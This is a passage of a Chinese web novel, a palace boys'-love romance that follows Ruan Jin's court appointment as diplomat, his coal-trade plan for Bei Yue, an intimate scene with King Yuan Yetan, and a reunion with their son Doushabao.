谢晗无奈,一把拉住他道:“别忙活了,此时元伯爷应该已经带着众医官入王庭了,你还是直接去王庭吧!” 由于北郡大旱,迟麟一直在处理挖渠的事,今日是知道阮锦要回来,他才特意从北郡赶回来的。 一听谢晗这么说,他二话不说便打算去上朝,又一把被谢晗拉住:“麟儿,朝服!你打算就这么一身土的去上朝吗?” 迟麟才反应过来,赶紧转回房间去换朝服,换好朝服后才匆忙赶去了王庭。 王庭之上,渊夜昙正扣击的手指,一言不发的轻轻敲着王座的扶手。 王庭之下,众臣一言不发,垂首等着高高在上的那人发话。 直到有太监来传话:“王上,元伯爷回来了!” 渊夜昙这才睁开了眼,开口道:“快请他进来。” 这里渊夜昙用了一个快字,他从前与任何人说话,都从未说过这个快字。 阮锦提着衣摆从外面走了进来,身上穿着郡伯朝服,黑白相间的朝服衬得那个越发的清俊漂亮,让整个大殿都为之一亮,更让某个帝王眼前一亮。 只是三天而已,他便已经开始想他了,不止是想他,是想把他搂在怀中,压在身下…… 他觉得自己中了他的毒,为何会如此,甚至觉得自己这样下去会亡国…… 阮锦一副意气风发的模样,上前对渊王行了一个十分标准的礼,开口道:“臣,元耳,拜见王上。” 渊夜昙装模作样的坐正了,朝他抬了抬手上:“元卿不必多礼,平身。” 阮锦站起身来,笑着说道:“臣幸不辱命,成功抚平东城四县的疫情,把死亡人数控制在了最低。” 渊夜昙满意的嗯了一声:“的确是最低了,根据以往天花疫病的情况来看,死亡最低的是一万七千人。想不到,元卿竟然把疫病死亡人数控制在了千数。很好!孤很是欣慰。” 这时,大司农迟大人悄悄从门外走了进来,又悄悄站到了阮锦的身边,正一脸崇拜的看着他。 渊夜昙见迟麟到了,开口道:“大司农对此作何评价?” 迟麟满眼的喜色,说道:“回王上,臣以为,元伯爷的功绩,旷古绝今啊!” 渊夜昙低低的笑了笑:“哦?竟有如此之高的评价?那……长兴侯觉得呢?刚刚大司农用了矿古绝今这样的词汇来形容元伯爷的功绩,不知长兴侯作何感想啊?” 阮锦在一旁憋笑,心想王上你可真够坏的,怎么能这么逼长兴侯他老人家呢? 缩在百官里,尽量减少存在感的长兴侯干笑着站出了人群,开口道:“啊哈哈,臣以为,呃……元伯爷的功绩也是……前无古人的哈哈。至于是否后无来者,哎呀呀臣也活不了多少个年头了,这还真不敢说。” 一旁的蒙铎将军小声逼逼了一声:“哼,老狐狸。” 渊夜昙满意的嗯了一声:“说的不错,的的确确是前无古人了。那长兴侯觉得,给元伯爷一个什么赏赐为好呢?” 长兴侯语塞,半天后才支支吾吾道:“臣……臣以为,不如赏些金银布帛,也是王者赐予的尊荣啊!” “哦,金银布帛啊!”渊夜昙冷笑了一声,手又敲了一下王座的扶手,转头看向阮锦道:“元伯爷觉得呢?” 阮锦笑嘻嘻道:“王上,臣没意见!臣觉得,能为王上效力,是臣之幸。什么奖赏不奖赏的,这不是为臣子的,应尽的本分吗?同时臣还呼吁,身为臣子的,自当为王上尽职尽责。以后的任何功绩,都不要提什么奖赏为好。最多也就赏些金银布帛的,那也是无上的荣耀了!” 这时,一名宗亲终于站出来反对了:“王上,臣以为,不妥!” 王座之上的渊夜昙差点儿没忍住笑出声,心想可真有你的,知道第一个站出来反对的肯定就是这些宗亲。 这些宗接靠的就是一桩一桩的功绩,往王庭里塞人,也是靠着这一桩一桩的功绩往上爬的。 阮锦这么说,等于是断了这些人的光明前程。 那名宗亲接着说道:“不如……就让元伯爷去任大司农左丞,刚好大司农卿手下还缺不少人手……” 迟麟当即说道:“好啊!王上,臣身边的确正缺一名能干的副手!” 郡伯毕竟只是一个爵位,并无实权,若是入了大司农府,成为迟麟的副手,两人强强联合,必定能给大渊百姓谋许多福祉。 谁料这时候长兴侯却站出来反对:“王上,万万不可啊王上!” 渊王看向长兴侯,问道:“哦?为何不可?” 长兴侯道:“呃……众所周知,大司农是我王庭中一员猛将。若再让元伯爷这么有才干的人过去,的确是如虎添冀。只是……着实有些浪费了些,一个衙署,怎能同时困住两员猛将?老臣觉得……不如让元伯爷,呃……出任典客一职。” 百官议论纷纷,所有人都露出了不解的目光。 尤其是迟麟和蒙铎,两人站在一起小声的交头接耳:“这个老狐狸又在打什么鬼主意?他竟然推荐元兄弟出任典客?典客可是九卿之一,比司农左丞可是大了一级的。” 迟麟却看透了他的心思,小声道:“蒙将军错了,这正是长兴侯给元兄弟挖的陷阱。别忘了,王上刚刚拿下幽国大半疆土。此时幽国宗亲已经退至阴山,重新拥立了新王。并联络周边各小国,以及南北两越,商量着如何联合起来对我大渊反击。而典客一职在此时发挥着至关重要的作用,若是激怒了周边各国,真让他们成了气候,那可是对我们渊国十分不利的。” 蒙铎当即明白了,难怪老典客会在这个时候辞官归乡,果然是个烫手山芋。 若是渊国与南越、北越等国有外交冲突,典客必受牵连! 王座之上的那人正在思索,阮锦却一步上前,乐呵呵的说道:“可以啊!王上,臣愿意出任典客一职!” 渊夜昙的眉心倏然皱了起来,半小时后,阮锦被叫进了御书房,又被数落了半个小时。 数落完后渊夜昙才酸溜溜的开口道:“也是,孤只是个外室,确实管不了你那么多。对不对?” 阮锦满头黑线,心想你倒也不必这么想。 还好渊夜昙数落他的时候是把周围的宫女侍从遣散的,倒是方便阮锦撒娇让他消气。 阮锦上前给他倒了一杯茶水,晃了晃他的胳膊,小声道:“王上,您听我解释,我之所以想做这个典客,为的也不是我自己。外交无小事,有时候一次好的外交,可以避免一场数万人的杀戮。更有可能,兵不血刃拿下一城。王上,臣是觉得,臣现在有这个能力,想为您分担一点。” 渊夜昙却仍是一脸酸溜溜:“是吗?我一个小小外室,怎么值得你如此付出?” 阮锦无语了,他叹息一声,说道:“王上,有人人在外面等了半天了,要不您先宣他进来见见?” 渊夜昙仍是一副别扭的模样,不过还是乖乖对外面喊了一声:“宣!” 片刻后,九大夫从殿外走了进来,他一身哥儿才会穿的淀蓝色掐腰常服,梳着哥儿标志性极强的半束发冠,发冠也是象征着哥儿的天青玉。 看着他这身打扮,渊夜昙当即反应过来了,嘴巴张了张问道:“这……这……你这夫君是……” 阮锦轻轻笑了笑,说道:“是的,他正是一名哥儿。王上,所以没事儿就不要瞎吃飞醋了。我和九哥,是很好很好的朋友,生死相许,患难与共的那种。” 渊夜昙用力往下压着乱翘的死嘴,刻意压着声线问道:“那……这意思,孤便不是外室了吧?” 阮锦哦了一声:“那还依然是的,虽然我并没有夫君,但王上现在还是没办法扶正的。” 第127章 听了阮锦的话,渊夜昙的唇角抖动了几下,一时间竟不知该如何应对。 半天才憋了一句:“你到底有几个好夫君?” 阮锦忍不住低低的笑出了声,他上前搂住九大夫的肩膀道:“当然只有一个,九哥是我此生挚友,王上您以后不要再误会我和他的关系了。” 聪明如渊夜昙,自然能猜透这里面的弯弯绕绕。 只是有陷在感情里的时候,就会想一些有的没的,觉得是不是会这样,是不是会那样,反倒是刻意忽略了某些真实有效的信息。 渊夜昙垂了垂长睫,恢复了些许理智,总觉得自从自己与他相熟后,一直在被他拿捏。 他从未了解过感情这种东西,是不是有时候也需要一些智慧? 就在渊夜昙沉默的时候,门外又传来大太监的声音:“王上,迟大人求见。” 渊夜昙回过神来,嗯了一声道:“让他进来吧!” 很快,迟麟便走了进来,朝渊夜昙行了个礼:“王上!可巧二位都在,我刚好有一件事要向王上汇报。” 渊夜昙问道:“嗯?何事?” 迟麟答:“是北越,我听说北越与渊国残部达成了联盟。有可能……会在短时间内,向我们发起反击。” 渊夜昙低低冷哼一声:“那又如何?孤三日便可踏平北越!” “万万不可啊王上!”迟麟赶紧劝谏道:“王上,咱们渊国已经因为征战幽国而疲惫不堪。蒙玉将军应该最清楚,幽国一战归来,即使收编了幽国残余部队,也很难在短时间内恢复实力。若是现在便与北越开战,那……即使有胜算,恐怕也会对我兵力造成重创。” 渊夜昙皱起了眉,这时阮锦开口了:“王上,这个时候不就是该发挥我这个典客的能力了吗?” 迟麟叹息:“是啊!元大人现在知道长兴侯为什么要在朝堂之上这样提议了吧?就是因为现在是非常时期,如果你处理不好这件事,两国必然开战。若是输了,你这个典客便是重大失职!即使是赢了,如此惨烈的赢面,怕是长兴侯也只会抓着不放,不会与你善罢甘休的。” 渊夜昙淡淡扫向阮锦,问道:“现在知道我为什么阻止你了吧?” 阮锦乐呵呵道:“知道,知道,王上对臣的一片拳拳爱护之心,臣又怎么可能会不理解呢?” 迟麟倒是还好,九大夫已经受不了了,心想你们俩真是够够的了,现在是在书房里,就不能收敛一点呢? 阮锦接下来却又恢复了严肃的表情,说道:“不过,若说别的事情,臣可能还真不行。但社交嘛……虽然臣平日里略有些社恐,倒也不是没有与人打交道的能力,否则也不会把生意做得天下皆识了。” 迟麟看向阮锦,欣喜道:“哦?元大人是不是早有想法?” 阮锦缓缓点了点头:“其实,也不难。打蛇打七寸,只要抓住北越的软肋,定能让这场大战消弭于无形。” 北越土地贫瘠,所以经常侵犯别人的国土,为的就是抢掠一些物资以过冬。 如果能过上好日子,谁也不想去抢夺别人的东西,毕竟杀人放火也是带着风险的。 渊夜昙道:“卿说来听听。” 阮锦心想只是卿吗?以前的帝王不都会在前面加一个爱字吗? 思想开了一秒钟的小差就迅速拉了回来,阮锦接着道:“北越贫瘠,很少有能种植的土地,多数都是辽阔无垠的土地。以至于那边兵强马壮,青壮年多擅骑射。缺点也是很明显的,那边冬天气温非常冷,平均气温在零下二十度以下。” 众人一脸迷茫,迟麟问道:“零下二十度……是什么?” 阮锦尴尬的笑了笑,心想习惯了习惯了,他道:“先别管,就是一个温度计量单位,总之就是很冷很冷,能把人冻死的意思。哪怕他们穿上羊皮牛皮,也无法抵御冬天的寒冷。甚至有时候他们要砌冰墙,住在冰床上,哦,当然,这些是北越北部地区的人了。据不完全统计,他们每年因为寒冷而死亡的人数都有几千甚至上万。如果想平安度过这个冬天,就不得不向临国开战。不光是咱们渊国,由于北越国界线狭长,就连幽国和其余周边小国,都曾被它抢过。那么问题来了,如果我们能想办法,让他们冬天不被冻死,他们是不是就没有必要再向我们开战了呢?” 说白了,向渊国开战也不过是个借口,就是想多抢点物资。 迟麟又问道:“这……不瞒元大人说,你所说的这个办法,我们从前也曾试过。我们曾教北越人如何伐薪烧炭,可北越并无大片森林,要劳民伤财自东边砍伐运送,并不如他们直接抢来的方便……” 阮锦忍不住笑了起来,心想可真有你们的,那确这关不如直接抢来的方便。 他摆了摆手,继续道:“烧碳,的确麻烦了许多,而且造价成本太高,他们当然不会愿意。我有一个无本的买卖,既能卖给他们赚钱牛羊马匹,还能解决他们燃眉之急。可以说是……一举两得!” 渊夜昙不解,抬头问道:“怎么说?” 阮锦清了清嗓子,声音放轻了些:“王上可还记得,那夜我们……游船时的那条河,以及河边连绵的那些山丘吗?” 一提到那河,阮锦昙的耳尖便不自觉的泛上了一片红晕,他轻轻清了清嗓子,低低应了一声:“记得,如何?” 阮锦答:“若是臣没弄错,那片地方……的山腹里,藏了大量的黑色石块。” “黑色石块?”众人不解的看向他,迟麟问道:“那是何物?” 阮锦答:“煤碳,一种比木碳燃烧时长以及热力更强的可燃物体。” 如果他没记错,这里便是大名鼎鼎的铜仁矿区,那些连绵不绝的山腹里,基本都是煤矿。 这些煤矿可供采集不知多长时间,他原来那个世界,里面的矿藏便已采集了半个世纪之久,却仍然没有取用枯竭的迹象。 只能说,这一片山脉下面埋的,应该全是煤炭。 众人又是一阵异口同声:“煤碳?” 渊夜昙问道:“从前孤为何不曾听说过?” 阮锦心想,你不曾听说过的东西多了,有了煤炭,不但可以解决北越的燃眉之急,他们渊国的冬天也能舒服一些。 不过渊国有一半的土地地处偏南,倒是不是特别冷,渊都倒是靠北一些,他正打算冬天弄点煤碳烧烧暖气,这样也能过一个舒服的冬天了。 九大夫却对阮锦所说的话深信不疑:“王上,小民可做证,元耳他所知道的东西又多又杂,但绝对都是真实存在的。” 渊夜昙道:“孤没有不相信他的意思,既然如此,那这件事便交由大司农与典客同去处理吧!” 阮锦和迟麟同时应道:“是!” 而后阮锦又道:“王上,臣还有一事……” 渊夜昙随口道:“说。” “呃……”阮锦扭捏道:“王上,九大夫此次抗疫居功至伟。您是不是……也该给他些奖赏?” 迟麟这才看向九大夫,这才发现他一身哥儿装扮,竟是英气中透着十足的婉约。 口中低喃:“他竟也是……” 渊夜昙垂眸沉思了片刻,开口道:“那便这样好了,为他单独成立一处典医司,负责所有与医疗相关事宜。通过这件事,孤深知医者的重要性。如果不是你们,这次京城还不知道要死多少人,极有可能会在整个京城蔓延开来。” 九大夫十分意外的怔了怔,还是阮锦提醒了一句:“九哥哥,还愣着干什么,赶快领旨谢恩啊!” 九大夫赶紧一掀衣袍下摆,跪拜谢恩:“臣,谢王上恩典。” 渊夜昙点了点头:“但典医司初成立,朕还要与三公商议一下,具体如何安置。所以,九大夫先无需上任,届时孤会让总管去传旨的。” 九大夫应了一声,阮锦心情十分愉悦,心想真的太好了,我九哥也是有身份的人了。 事议至此,差不多也就结束了,三人便打算告退,渊夜昙应了一声,却又开口道:“元伯爷留下。” 阮锦:…… 另外两人互相递了个眼神,转身离开了御书房。 两名小太监也跟着走了出去,顺便给他们带上了门。 直到走出去十几步远,迟麟才不解的问:“这……怎么回事?” 九大夫叹息一声,耸肩摊手:“迟大人习惯便好,我已经被如此这般的喂了许久狗粮了。” 迟麟惊喜,问道:“九大人的意思是……他们已经……已经……” 九大夫在唇边竖了根手指,小声道:“这件事,我其实也不是很清楚。睡是睡了很多次,但名份要没要到……不好说。” 迟麟从惊喜转变为了惊吓,是谁没要到名份? 是元兄弟吗? 不应该啊,王上一看就对他十分迷恋,这名份岂不是垂手可得的东西? 不……应非京户人是……王上才对吧? 就凭元兄弟三年前一场设计把王上抛弃,如今又顶着个元耳的名头大剌剌的回来,一回来就当上了郡伯,还靠着又一个大功入主九卿之一,可以说是人中麒麟儿! 就凭他的才智,别要说名份,什么要不到? 恐怕,王上已经被他玩弄于股掌之上了吧? 如迟麟所想,阮锦现在手上正摸着腹肌,门关上以后,他连想都没想便直接将渊夜昙推倒在了椅子上,不光面对面坐到了他的腿上,还直接把手伸进了他的中衣内,直接向下探去。 阮锦低低的笑着,问道:“王上想我没有?几日不见,倒是腹肌坚硬了不少。只是王上怎么看上去有些紧张?我又不会吃了你。” 其实要吃也是可以的,上次吃过以后,感觉味道还不错。 只是今日他想玩点别的,便将手抽了出来,却让渊夜昙的胸肌大露,手指在上面画着圈圈:“我倒是很想王上,这几日夜晚……天天想。” 渊夜昙终于受不了了,伸手搂住阮锦的窄腰,在他唇上印下一吻,亲了半天才微喘着分开双唇。 由于吻得过于投入,阮锦的唇角流下一丝亮银色,被渊夜昙舔了个干净。 两人之间紧紧挨靠着,已经没有半分空隙了,甚至有些拥挤,因为多了一些东西出来。 阮锦低低的笑了笑,说道:“好了,我知道了,王上不必回答了。” 渊夜昙却还是说道:“想你,自那夜后,每时每刻都在想你。吃饭想你,睡觉想你,连梦中都是你。我的……阿锦……” 阮锦微怔,早猜到他能查清楚,只是没想到来得那么快。 阮锦捧住他的脸颊,问道:“都查清楚了?” 渊夜昙低低应了一声:“当年你纵火诈死,为何要如此?” 阮锦轻笑:“如果当年我跟着你回了京,你会管我,会护我吗?” 渊夜昙微怔,那个时候他忘了所有,哪怕有心护他,却根本无法时时关注他。但长兴侯却是无处不在的,想要他的命,也只是碾死一只蚂蚁一般简单。 渊夜昙又问:“如今为何又回来了?” 阮锦勾勒着他高挺的鼻梁道:“听说王上没钱了?没事的王上,你身为我的外室,我怎么可能不管你?不如我帮你填满国库?我手上有数不尽的黄金白银,玉石财宝。王上不信?唉,王上知道哪里金矿最多吗?知道哪里玉石最好吗?知道哪里宝石成堆,珍珠无数吗?王上自是不知道的,这些……我全知道!” 这三年他可不光在外面跑商,更是找遍了船力所及的大大小小的矿脉。 如今他手上更是有两座金矿,三座银矿,玉矿若干,说一句世界上已知的小半财富在他手上,一点都不为过。 渊夜昙眼神微动,可是他此时却并不想听他谈这些,因为他还有一个问题亟待解决。 阮锦自然也看出了他的需求,只是低低的笑了笑,问道:“王上……想?” 渊夜昙声线极沉,似是压抑着无数的渴望:“……嗯。” 阮锦道:“叫一声老婆。” 渊夜昙乖乖的叫老婆。 阮锦又道:“叫一声好老婆。” 渊夜昙仍是乖乖的喊出了声。 阮锦终于不逗他了,只是微一上前挺腰,张开嘴,缓缓将他的指端吞入口中。 渊夜昙的手指造型很漂亮,是弯曲上勾着的,微一前伸,便让阮锦口中泛起阵阵的麻痒。 阮锦却也淘气,吸住他的手指嘬了嘬,并在他指腹上舔了舔,而后吐出来问道:“这个力道还可以吗?” 第128章 每次渊夜昙对上阮锦,都有一种自己被狠狠拿捏了的错觉,明明他是史上最强傀儡师,不可能被任何人拿捏。 但阮锦只要一靠近他,他便没有任何抵抗之力,只能任由他搓圆捏扁,被他玩弄于鼓掌之上。 他堂堂帝王,如何混到了如此地步? 甚至为了他,甘当外室,真他娘的是莫大的耻辱! 可是……可是……他却视这耻辱,甘之如饴,宁愿为他沉沦堕落,宁愿沉溺在这场酣畅的梦里不肯醒来,只要能留在他身边。 阿锦……阿锦……他是梦境里那个模糊的身影,是他无数次求而不得的那个人吗? 可他全忘了,真的全都忘了,为什么要把如此重要的人忘掉? 渊夜昙的手指火辣辣的,抑制不住的思潮从骨子里冒出来,泛着花儿的朝阮锦的方向涌去。 他用力按着阮锦的后脑勺,企图将他们之间的距离缩到最短,可是已经缩无可缩了。 渊夜昙大口的呼吸着,仿佛溺水之人抓住了一段浮木般,另一只手用力的抓着阮锦的手,并与他十指相扣。 突然,一个尖锐的东西,在他的虎口上轻轻的啃了啃。 仿佛啮齿类小动物一般,并不用力,也不疼,却刺得他仿佛触电一般,整个人抑制不住的抖动了起来。 阮锦坏笑着抬头看着他,小狐狸的眼睛笑的弯弯的,似是得逞了一般弯了弯唇,舔净他虎口上的唾液后才开口道:“小昙,喜欢吗?” 渊夜昙的眼圈微红,他抱起阮锦,将他放到了自己的王座上,与自己面对面,握住他的脚踝,放到了自己的肩膀上。 阮锦任由他动作着,眼中带着宠溺,口中却带着几分怨怼:“我知道,你并没有想起来,你只是查到了过去。你知道吗?你走以后,这三年多,我没有一日不是想你的。虽然知道你不是阿蛮了,可我还是忘不掉,戒不掉。只要还有半分期望,我就还想让你留在我身边。” 渊夜昙的心却仿佛被一记重锤击中,他用拇指蹭过阮锦的唇角,刮擦过他的唇瓣,又用力塞入了他的口中,轻按着他的唇舌。 “所以,如果我没想起来,我就永远只是你的外室,对吗?” 两人的距离忽近忽远,让阮锦有些头晕目眩,他已经许久没有体验过这种让人目眩神迷的感觉了。 这世上,如果能有人让他体验到极致的欢愉,那个人也只能是他。 阮锦抬起胳膊,搂住渊夜昙的脖子,小腿收拢,盘住他的腰,魅惑而又迷离的对他说道:“傻子,你是这世界上,最大的傻子。” 渊夜昙其实是恨的,他恨自己为什么会忘掉,以至于得知他是阮锦这个事实的时候,完全没有心中该有的悸动。 反而,此时与他相处,却满心满眼的迷恋。 可能不论他是阮锦还是元耳于他来说都不重要,都有着致命一般的吸引。 但于阮锦来说却不同,他有着他们从前全部的记忆,如果从前爱得那么深,换谁都不可能轻易释怀。 渊夜昙用力将他按在王座上,垂首去狠狠的吻他,抱着他走向书柜,让他后背倚着书柜,搂着他的腰继续接吻。 而在这个过程里,他们却并未分离丝毫,像是唯有接吻,只有忘情的拥抱才能让他们短暂的忘却那曾经未卜的过去。 直到外面的天色完全暗了下来,直到阮锦身下垫着王的袍服沉沉昏睡了过去。 黑暗中,渊夜昙的眼神晦暗,借着窗外的月色,他想仔细的将阮锦看个一清二楚。 他低声说道:“对不起,我也不知道我为什么会忘了你。我明明……明明那么爱,……爱到无法自拔。自我重新与你相遇,我便没打算再让自己独善其身。本以此生我也只能再走短短几年,只要把我自己该做的,把我答应那人的条件履行完,便可以自行了结了。可老天爷却让我遇见了你,是不是表示……我可以为自己活上一段时间了?” 阮锦无意识的翻了个身,唇角微微勾了勾,喃喃喊了一声:“阿蛮……” 渊夜昙的心脏又是被猛然一击,他面色阴沉,却抬手轻轻给阮锦掖了一下衣角,低声说道:“你放心,若我此生什么都想不起来了,定会尽全力去补偿你缺失的那三年。你……休息,我守着你。” 说着他起身,吩咐门外的太监:“搬一张榻过来,……再拿两床被褥。” 大太监什么都不敢问,只是听令去执行任务,不过片刻便抬来了一张榻,铺了软软的被褥和枕头。 又吩咐他们掌灯,便让他们出去了。 而在关门的一个刹那,大太监便看到平日里冰冷无情杀伐果断的王抱起了地上昏睡的男子,将他轻手轻脚的放到了榻上。 而那张脸,分明就是刚刚被封为典客的元伯爷。 大太监吓得不轻,心想从前企图爬王上床的宫女哥儿数不胜数,哪次不是死得东一块西一块。 这次人显然是完好的,应该只是睡着了,能让王上如此小心翼翼的对待,可见这位元伯爷不简单! 关上门后,大太监兢兢业业的守在了门口,有几名前来送紧急折子的小黄门,也被他给拦了下来,将折子收进了自己的怀里。 直到殿内传来了动静,王上吩咐了一句:“去……给他熬些粥,再准备一些更换的衣物。还有……准备热水,一会儿抬一个浴桶进来吧!” 想必他醒过来定会嫌弃身子粘腻,睡了这么久,连晚饭都没吃,肚子也一定饿了。 洗完了澡,定是不会再穿污了的衣裳,换新的是有必要的。 还有……还有什么?还有什么是我不曾想到的? 渊夜昙皱了皱眉,忽然又想到了什么,便又吩咐道:“你再去一趟郡伯府,拿他最爱的玫瑰精油,找……白典医。” 自从知道九大夫是哥儿后,他现在想到阮锦的那声九哥哥就想笑,自己从前也不知道吃了他多少醋,这家伙还真是淘气。 可他又生不出任何怨言,试问如果是自己被抛弃三年多,独自生下孩子无人过问,那自己的怨气只会比他多。 怕是早就跑上门来质问,为什么要这样对他了。 他倒是挺想他早点找上门来,可自己又有什么立场,让他犯险入渊都呢? 今夜渊夜昙想的有些多,这太不像他了,从前他只要想,便会去做。 如今他想了那么多,却不知道该如何去做。 思来想去,便吩咐让门外的大太监守好门,不要让任何人靠近书房,自己则换了一身夜行衣,独自去了郡伯府。 郡伯府里,九大夫和迟麟正坐在一处凉亭里饮茶,迟麟十分高兴的说道:“太好了,太好了,你和阿锦能回来,这对我来说是天大的好事。” 九大夫对迟大人的印象也一直非常好,笑着说道:“能与迟大人共事,也是我等的荣幸。” 迟麟又道:“敢问九大夫真名?哦……不知道我这么问,会不会有点冒昧了?” 九大夫摆手道:“不会不会,其实我隐姓埋名这么多年,也确实该以真面目示人了。某姓白名玖玥,是……南越白氏的后人。” “南越白氏?难怪难怪!难怪我一看九兄就知道不是普通人的气度,竟然是南越王族!” 九大夫不是很在意的说道:“说什么王族不王族,也不过是旁支罢了。只因当年先王与幽国有婚约,又因为整个家族只得了我一个哥儿,联姻的名额便落到了我的头上。我不愿稀里糊涂就嫁给幽崇简那个昏聩无能的王,便逃婚了。” 听九大夫这么一说,迟麟当即对他露出了佩服的表情,说道:“难怪,原来九兄是逃婚出来的。但我觉得你做的对!幽崇简那个畜生不如的东西,确实不值得托付终身!在他的后宫,大抵会生不如死。” 九大夫嗯了一声,轻轻和迟麟碰了碰杯,一饮而尽。 迟麟又有些不好意思的问道:“只是……九兄,看你年纪,应也有二十了。为何……未曾婚嫁?我们哥儿,即使有夫君在身边,也难挨的很。你一个人,如何熬过发情期?” 九大夫也挺愁的,他想了想道:“其实也一直有在甄选,只是这些年跟着阿锦在外面跑船,耽误了些许时间。如今来了京城,一时也没有合适的。至于发情期,我既是医生,自有些调理的方子。上次教你的,也只是一些皮毛罢了。如果你有需求……唉,我这话说的,你有夫君,怎么可能有需求。” “不不不!”迟麟尴尬道:“虽然我有夫君,但他的身份特殊,有时候要执行一些特殊任务,所以我也……也是……偶尔会独守一下空房。” 九大夫明白了,了然的笑道:“那好说,到时候我给你一本书,再给你一些香丸,保证让你平静的度过发情期。” 迟麟一脸感动的朝九大夫行了个礼,说道:“那可真是太好了,谢谢九兄,谢谢九兄!” 九大夫摆手,又给他倒了一杯茶,说道:“客气什么,来来来,我们继续喝茶赏月。” 就在两人聊些风雅哥儿间的趣事时,前院突然传来一阵吵嚷。 九大夫皱眉,喊来了管家,问道:“这是怎么了?” 管家应道:“回伯夫君的话,有个叫蒙铎的将军非要闯进来。他说要给您还什么衣服,我说您已经休息了,他非是不信,一定要进来亲自把衣服交给您不可。” 九大夫想了想,对管家道:“那就让他进来吧!” 管家应了一声,转身去外面请人了,迟麟好奇道:“蒙将军?九兄的衣服怎么会在他那里?” 九大夫一脸无语:“别提了,是个意外。蒙家的人都这样吗?被他缠上了怎么就没脸没皮的。” 迟麟轻笑一声,答道:“也不是,有个叫蒙玉的小将军倒是挺正常的。铁血豪情,戍边卫国,屡立大功。呃……当然,蒙铎将军也是不错的,他是王上近臣,别看他性子大大咧咧的,实则心细如发。这些年,渊都大大小小的细作案,基本都是由他破获的。蒙家军是王上的左膀右臂,身上功勋无数。只是……呃……” 他话说到一半不说了,因为蒙铎已经进来了。 他手上抱着九大夫的外套,笑的一脸讨好,手上还拎了一个食盒,不知道带了什么东西进来。 九大夫冷脸看着他,问道:“你这个人倒是脸皮厚,一般人不是听到主家有事不都识趣的离开吗?” 蒙铎嘿嘿笑了两声,答道:“也不是,我知道你肯定没睡。之前在东城的时候,哪怕晚上没事了,你也不会在子时前睡,都要掌灯掌到子正。我今日特意给你带了南越的酿肉,怕到了明日便不好吃了。所以就在前院弄了点动静,希望白兄弟不要怪我。” 九大夫十分意外的看了一眼他的食盒,问道:“哪儿来的酿肉?” 蒙铎有些骄傲的答道:“我之前曾在南疆戍边,偶然吃过一次南越的酿肉,觉得味道甚是鲜美。于是找了那边的厨子教我做了,偶尔也会自己做点吃。想着你老家是南越的,肯定想念家乡美食。今天刚好我闲来无事,就割了几斤上好的鲜猪肉,挑了最精细的后尖。也不知道做的好不好吃,合不合白兄弟的口味。” 这倒是让九大夫有些不好意思了,清了清嗓子道:“上来坐吧!” 蒙铎十分高兴,拎着食盒便上了凉亭,这才发现迟麟正一脸看好戏似的看着他,这才怔了怔道:“大司农竟也在此,蒙某人唐突了。” 迟麟笑的一脸意味深长,说道:“蒙将军不必理会我,我今日算是来着了,不但有白兄的好茶,还吃上了蒙将军的酿肉。” 蒙铎看了一眼那桌上的茶罐,嗯,有些眼熟,也是他前几天送的。 于是蒙铎更高兴了。 夜深人静,月上中天,刚刚爬到郡伯府屋顶的渊夜昙便看到了这一幕。 他倒是没听到什么,只看到蒙铎像条大松狮一样围着别人白九转了两圈,看着就跟闻到了肉骨头一样。 他很是不屑的嘲笑了一声,心想自己又何尝不是如此,于是心虚的转身去了豆沙包的房间。 豆沙包正在玩一个莫名其妙的方块,是一堆方块结合在一起的,一面一个颜色,他哗啦哗啦一会儿就将那些颜色打乱,又以极快的速度将那些颜色重新拼凑在了一起。 渊夜昙有些发怔,心想这孩子这是在变戏法儿呢? 就听豆沙包的声音传来:“谁在外面?” 第129章 渊夜昙从窗户里钻了进去,压低声音道:“是我。” 豆沙包一脸喜悦的说道:“哇!大哥!你来找我玩啦?” 渊夜昙无奈的看着挂在他身上的豆沙包,问道:“你这么长时间没见到爹爹,是不是很想他?” 谁料豆沙包只是挥了挥手,说道:“我都习惯了,有时候爹爹去外面谈生意,把我一个人扔船上和水手们玩儿。最长的一次,三个月没回来,这次才两个月,小事一桩。” 渊夜昙的心脏又是一痛,感觉自己欠下的何止是对阮锦的感情债,这一屁股的儿女债自己也是没落下。 他弯身把豆沙包抱了起来,低声道:“我抱你去见你爹爹好吗?” 豆沙包的眼睛亮了亮:“真的?我知道九伯父回来了,他说爹爹还有别的事,所以没有跟着一起回来。大哥,你知道我爹爹在哪里吗?” 渊夜昙有些心虚,他清了清嗓子道:“嗯,知道。你给你九伯父留一封信,好让他安心。” 豆沙包捂了捂嘴,小声逼逼:“完了,说好了在外人面前不能叫九伯父的,要叫父亲……” 渊夜昙无奈,心想这都是自己的错,把一个孩子逼成这样。 他拂了拂豆沙包的后脑勺,忍不住在他脸颊上亲了一口,吓的豆沙包往后缩了缩,抗议道:“大哥,你以后不要亲我了。爹爹说了,男孩子也不可以随便让别人亲的。” 这一口一个别人,让渊夜昙的心里有些微疼。 但是他没有资格擅自把孩子的身世告诉他,如果说了,也不知道阿锦会不会生气。 他只得低低的嗯了一声,在豆沙包给九大夫留好书信后,抱着他离开了郡伯府。 两人回到王宫的时候,阮锦早就已经醒了,甚至洗完了澡,披着湿漉漉的头发正在喝粥。 见他们回来了还意外了一下,豆沙包便仿佛一只小精灵一般扑进了他的怀里:“爹爹!你怎么在这里呀?咦?怎么头发还湿了?为什么不回家洗澡呀?为什么回来不去看我?爹爹你难道不想我吗?” 阮锦:…… 他清了清嗓子,有些心虚的答道:“爹爹不是有正事吗?刚刚忙完正事出了一身汗,这不就顺便洗了个澡。包包,你怎么来啦?” 豆沙包指了指渊夜昙:“是大哥把我接来的,大哥说带我来见你。” 阮锦看向渊夜昙,又看了看守在门外眼观鼻鼻观心的太监。 殊不知这些太监已经震惊了,因为他们看到了小包包和王上如出一辙的脸。 渊夜昙道:“你们父子俩两个月没见面了,我想……你应该想孩子了吧?” 阮锦的心情也有些复杂,他把粥碗放到一边,将豆沙包抱到了自己的腿上,拍着他的后脑勺道:“我们包包长大了,越来越懂事了,这次爹爹离开有没有哭鼻子?” 豆沙包嘟起粉嫩嫩的小嘴巴:“我早就不哭鼻子了!我两岁的时候就不哭鼻子了!现在的包包可是三岁的大孩子了!” 阮锦勾了勾豆沙包的鼻子,笑眯眯道:“哦,原来是这样,我们包包最厉害了!” 渊夜昙就这么站在一旁,看着温暖有爱互动的父子俩,不知道为什么心里漫上一阵阵的暖意。 暖意,他已经许久没有这种感觉了。 阮锦抬头看向他,歪了歪头,而后问道:“王上,没有和他说吗?” 豆沙包也歪了歪头,父子俩做这个动作的时候,表情简直一模一样。 渊夜昙摇了摇头:“我有这个资格说吗?” 